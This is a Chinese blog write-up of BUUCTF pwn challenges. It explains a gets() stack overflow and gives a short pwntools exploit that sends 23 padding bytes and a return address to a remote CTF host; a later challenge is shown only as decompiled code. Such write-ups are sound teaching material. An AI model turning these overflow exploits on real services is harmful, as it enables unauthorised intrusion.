美文网首页
BUUCTF PWN WriteUp

BUUCTF PWN WriteUp

作者: Eumenides_62ac | 来源:发表于2020-03-09 01:14 被阅读0次

test_your_nc

$ nc node3.buuoj.cn 29017
$ cat /flag

rip

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取。所以存在栈溢出漏洞。
可以看到有个func


解题基本上就是栈溢出让RIP跳转到func函数。
$ checksec pwn1

可以看到没开任何保护。
gdb调试,计算出RIP的偏移:
> pattern create 200
> r
> pattern offset A(AADAA;
23 

IDA中可以看到函数开始的地方是0x401186


编写exp
# -*- coding:utf-8 -*-

from pwn import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn',29476)
#io = process("./pwn1")
system=0x401186
payload = b'a' * 23 + p64(system)
io.sendline(payload)
io.interactive()

warmup_csaw_2016

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-80h]
  char v5; // [rsp+40h] [rbp-40h]

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(&s, "%p\n", sub_40060D);
  write(1, &s, 9uLL);
  write(1, ">", 1uLL);
  return gets(&v5);
}

相关文章

  • BUUCTF PWN WriteUp

    test_your_nc rip gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取...

  • pwn----BUUCTF

    NO.00 pwn1_sctf_2016_sovle exp NO.01 warmup_csaw_2016_sov...

  • [JarvisOj](pwn)tell me something

    简介 : 项目地址 : pwn题目及 writeup 汇总 题目说明 : Do you have somethin...

  • 【pwn学习】buuctf pwn题目(一)

    test_you_nc 进去看main里面就是sh 所以nc就好 rip checksec一下发现是64位 看一下...

  • 【pwn学习】buuctf pwn题目(二)

    下班了继续做 level0 先checksec一下 很简单的道理就是vulner函数里面存在漏洞call到call...

  • whuctf pwn writeup

    写在前面: 这次比赛还是挺酷的,学到了一些骚操作,感谢武汉大学举办的这次比赛 概述: Pwnpwn:签到题,ret...

  • pwn — easy writeup

    首先,先在虚拟机里check easy的保护: 发现只开了堆栈不可执行。 把文件拖进ida里,打开main函数 发...

  • pwn — MSA writeup

    MSA: 在终端用check查看文件保护 发现没有开启什么保护,倒是有RWX(读写执行)段 打开ida继续看,先看...

  • Jarvis OJ PWN level6 WriteUp

    终于做完了自己在pwn方向的第一道堆题,参考了writeup1和writeup2怼了四天,终于理解了整道题目,本地...

  • 2019 swpuctf pwn writeup

    前言 前两天玩了一下swpuctf, 事情比较多就只做了pwn题. 一共两个pwn题, 都不是很难. 拿了一个一血...

网友评论

      本文标题:BUUCTF PWN WriteUp

      本文链接:https://www.haomeiwen.com/subject/vnblfhtx.html